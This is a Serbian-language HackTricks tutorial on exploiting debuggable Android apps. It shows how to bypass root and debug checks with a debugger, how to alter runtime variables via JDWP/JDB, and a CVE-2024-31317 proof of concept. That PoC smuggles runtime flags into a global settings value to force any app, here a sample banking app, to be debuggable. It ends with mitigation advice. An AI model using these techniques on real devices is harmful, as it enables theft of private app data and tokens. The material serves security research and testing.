Eksploatacija aplikacije koja se može debagovati

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Obilaženje provere root i debagovanja

Ovaj deo posta je sažetak iz posta https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

Koraci za omogućavanje debagovanja Android aplikacije i obilaženje provera

Omogućavanje debagovanja aplikacije

Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

  1. Dekompajliranje APK-a:
  • Iskoristite APK-GUI alat za dekompajliranje APK-a.
  • U android-manifest datoteci, dodajte android:debuggable="true" da omogućite režim debagovanja.
  • Ponovo kompajlirajte, potpišite i zipalign modifikovanu aplikaciju.
  1. Instalirajte modifikovanu aplikaciju:
  • Koristite komandu: adb install <application_name>.
  1. Preuzmite ime paketa:
  • Izvršite adb shell pm list packages –3 da biste naveli aplikacije trećih strana i pronašli ime paketa.
  1. Postavite aplikaciju da čeka na vezu debagera:
  • Komanda: adb shell am setup-debug-app –w <package_name>.
  • Napomena: Ova komanda mora biti pokrenuta svaki put pre pokretanja aplikacije kako bi se osiguralo da čeka na debager.
  • Za trajnost, koristite adb shell am setup-debug-app –w ––persistent <package_name>.
  • Da biste uklonili sve oznake, koristite adb shell am clear-debug-app <package_name>.
  1. Pripremite se za debagovanje u Android Studiju:
  • Idite u Android Studio na File -> Open Profile or APK.
  • Otvorite rekompajlirani APK.
  1. Postavite prekidne tačke u ključnim Java datotekama:
  • Postavite prekidne tačke u MainActivity.java (specifično u onCreate metodi), b.java, i ContextWrapper.java.

Obilaženje provera

Aplikacija će u određenim trenucima proveravati da li je debagovana i takođe će proveravati binarne datoteke koje ukazuju na uređaj sa root pristupom. Debager se može koristiti za modifikaciju informacija o aplikaciji, uklanjanje oznake debagovanja i promenu imena pretraživanih binarnih datoteka kako bi se obile ove provere.

Za proveru debagovanja:

  1. Modifikujte postavke oznaka:
  • U sekciji varijabli konzole debagera, idite na: this mLoadedAPK -> mApplicationInfo -> flags = 814267974.
  • Napomena: Binarna reprezentacija flags = 814267974 je 11000011100111011110, što ukazuje da je "Flag_debuggable" aktivan.

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obilaženjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije.

Korak 2 uključuje promenu vrednosti oznake na 814267972, koja je predstavljena u binarnom obliku kao 110000101101000000100010100.

Eksploatacija ranjivosti

Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i textview. U početku, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" u toku izvršavanja, bez modifikacije izvornog koda.

Provera ranjivosti

  • Aplikacija je dekompajlirana korišćenjem apktool da bi se pristupilo AndroidManifest.xml datoteci.
  • Prisutnost android_debuggable="true" u AndroidManifest.xml ukazuje da je aplikacija debagovana i podložna eksploataciji.
  • Vredno je napomenuti da se apktool koristi isključivo za proveru statusa debagovanja bez modifikacije bilo kog koda.

Priprema postavke

  • Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje adb jdwp za identifikaciju Dalvik VM portova koji slušaju.
  • JDWP (Java Debug Wire Protocol) omogućava debagovanje aplikacije koja se izvršava u VM-u izlaganjem jedinstvenog porta.
  • Port forwarding je bio neophodan za daljinsko debagovanje, nakon čega je JDB povezan na ciljnu aplikaciju.

Injektovanje koda u toku izvršavanja

  • Eksploatacija je izvršena postavljanjem prekidnih tačaka i kontrolisanjem toka aplikacije.
  • Komande poput classes i methods <class_name> korišćene su za otkrivanje strukture aplikacije.
  • Prekidna tačka je postavljena u onClick metodi, a njeno izvršavanje je kontrolisano.
  • Komande locals, next, i set korišćene su za inspekciju i modifikaciju lokalnih varijabli, posebno menjajući poruku "Try Again" u "Hacked".
  • Modifikovani kod je izvršen korišćenjem run komande, uspešno menjajući izlaz aplikacije u realnom vremenu.

Ovaj primer je demonstrirao kako se ponašanje debagovane aplikacije može manipulisati, ističući potencijal za složenije eksploate poput dobijanja shell pristupa na uređaju u kontekstu aplikacije.


2024 – Pretvaranje bilo koje aplikacije u debagovani proces (CVE-2024-31317)

Čak i ako ciljni APK nije isporučen sa android:debuggable oznakom, nedavna istraživanja su pokazala da je moguće prisiliti arbitrarne aplikacije da se pokrenu sa DEBUG_ENABLE_JDWP runtime oznakom zloupotrebom načina na koji Zygote analizira argumente komandne linije.

  • Ranjivost: Nepravilna validacija --runtime-flags dostavljenih putem Zygote-ovog komandnog soketa omogućava napadaču koji može da dođe do system_server (na primer, putem privilegovanog adb shell-a koji ima WRITE_SECURE_SETTINGS dozvolu) da injektuje dodatne parametre. Kada se kreirana komanda ponovo reprodukuje od strane system_server, žrtvinska aplikacija se fork-uje kao debuggable i sa JDWP nitima koje slušaju. Problem se prati kao CVE-2024-31317 i rešen je u junskom 2024 Android Security Bulletin-u.
  • Uticaj: Potpuni pristup za čitanje/pisanje privatnom direktorijumu podataka bilo koje aplikacije (uključujući privilegovane kao što je com.android.settings), krađa tokena, MDM obilaženje, i u mnogim slučajevima direktan put do eskalacije privilegija zloupotrebom izvezenih IPC krajnjih tačaka sada debagovanog procesa.
  • Zahvaćene verzije: Android 9 do 14 pre junskog 2024 nivoa zakrpe.

Brza PoC

bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

Kreirana vrednost u koraku 1 prekida parser iz “brze staze” i dodaje drugu sintetičku komandu gde je --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) prihvaćena kao da je bila dostavljena od strane okvira. Kada se aplikacija pokrene, otvara se JDWP soket i redovne dinamičke-debug trikove (zamena metoda, patchovanje varijabli, live Frida injekcija, itd.) su moguće bez modifikovanja APK-a ili slike pokretačkog uređaja.

Detekcija i ublažavanje

  • Patch na 2024-06-01 (ili kasnije) nivo bezbednosti – Google je ojačao ZygoteCommandBuffer tako da se naredbe ne mogu krijumčariti na ovaj način.
  • Ograničiti WRITE_SECURE_SETTINGS / shell pristup na proizvodnim uređajima. Eksploit zahteva ovu dozvolu, koja se obično drži samo od strane ADB ili aplikacija sa privilegijama OEM-a.
  • Na EMM/MDM-u upravljanim flotama, primeniti ro.debuggable=0 i odbiti shell putem adb disable-verifier.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks